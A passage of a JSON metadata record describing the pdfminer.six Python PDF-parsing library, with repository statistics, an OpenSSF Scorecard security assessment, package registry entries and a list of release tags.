{"id":371576,"url":"https://github.com/pdfminer/pdfminer.six","last_synced_at":"2026-05-30T19:30:27.932Z","repository":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2026-02-24T19:55:59.000Z","size":21745,"stargazers_count":6914,"open_issues_count":220,"forks_count":1025,"subscribers_count":111,"default_branch":"master","last_synced_at":"2026-03-05T12:54:16.733Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2026-03-05T09:35:04.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":32,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33298325,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-21T02:57:32.698Z","status":"ssl_error","status_checked_at":"2026-05-21T02:57:31.990Z","response_time":62,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":null,"packages":[{"id":13305361,"name":"python311Packages.pdfminer-six","ecosystem":"nixpkgs","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-02-02T07:01:33.173Z","latest_release_published_at":"2026-02-02T07:01:33.173Z","latest_release_number":"20221105","last_synced_at":"2026-04-12T22:03:38.136Z","created_at":"2026-02-02T07:01:32.428Z","updated_at":"2026-04-12T22:31:06.514Z","registry_url":"https://search.nixos.org/packages?channel=23.11\u0026query=python311Packages.pdfminer-six","install_command":"nix-env -iA nixpkgs.python311Packages.pdfminer-six","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-23.11/pkgs/development/python-modules/pdfminer-six/default.nix#L60","metadata":{"nix_attribute":"python3.11-pdfminer-six-20221105","position":"pkgs/development/python-modules/pdfminer-six/default.nix:60","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin","i686-cygwin","x86_64-cygwin","x86_64-windows","i686-windows"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","out"],"upstream_ecosystem":"pypi","upstream_name":"pdfminer-six","upstream_purl":"pkg:pypi/pdfminer-six"},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python311Packages.pdfminer-six?channel=23.11\u0026repository_url=https://channels.nixos.org/nixos-23.11","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python311Packages.pdfminer-six","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python311Packages.pdfminer-six","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python311Packages.pdfminer-six/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python311Packages.pdfminer-six/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python311Packages.pdfminer-six/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python311Packages.pdfminer-six/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python311Packages.pdfminer-six/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python311Packages.pdfminer-six/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python311Packages.pdfminer-six/codemeta","maintainers":[{"uuid":"marsam","login":null,"name":"Mario Rodas","email":null,"url":"https://github.com/marsam","packages_count":485,"html_url":null,"role":null,"created_at":"2026-03-04T03:48:00.467Z","updated_at":"2026-03-04T03:48:00.467Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/maintainers/marsam/packages"},{"uuid":"PsyanticY","login":null,"name":"Psyanticy","email":"iuns@outlook.fr","url":"https://github.com/PsyanticY","packages_count":62,"html_url":null,"role":null,"created_at":"2026-03-04T03:48:00.431Z","updated_at":"2026-03-04T03:48:00.431Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/maintainers/PsyanticY/packages"}],"registry":{"name":"nixpkgs-23.11","url":"https://channels.nixos.org/nixos-23.11","ecosystem":"nixpkgs","default":false,"packages_count":108178,"maintainers_count":2997,"namespaces_count":0,"keywords_count":0,"github":"NixOS","metadata":{"funded_packages_count":189},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.577Z","updated_at":"2026-04-03T06:23:37.723Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/namespaces"}},{"id":2848192,"name":"pdfminer.six","ecosystem":"pypi","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["layout analysis","pdf converter","pdf parser","text mining"],"namespace":null,"versions_count":37,"first_release_published_at":"2014-09-19T11:54:04.000Z","latest_release_published_at":"2026-01-07T13:29:10.000Z","latest_release_number":"20260107","last_synced_at":"2026-05-28T04:13:07.329Z","created_at":"2022-04-10T12:01:06.553Z","updated_at":"2026-05-28T12:20:56.213Z","registry_url":"https://pypi.org/project/pdfminer.six/","install_command":"pip install pdfminer.six --index-url https://pypi.org/simple","documentation_url":"https://pdfminer.six.readthedocs.io/","metadata":{"funding":null,"documentation":null,"classifiers":["Development Status :: 5 - Production/Stable","Environment :: Console","Intended Audience :: Developers","Intended Audience :: Science/Research","Programming Language :: Python","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Topic :: Text Processing"],"normalized_name":"pdfminer-six","project_status":null},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2024-08-02T01:01:58.000Z","size":14597,"stargazers_count":5784,"open_issues_count":233,"forks_count":916,"subscribers_count":119,"default_branch":"master","last_synced_at":"2024-09-05T07:05:31.802Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2024-09-04T15:49:23.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":23,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":217971418,"owners_count":16258978,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"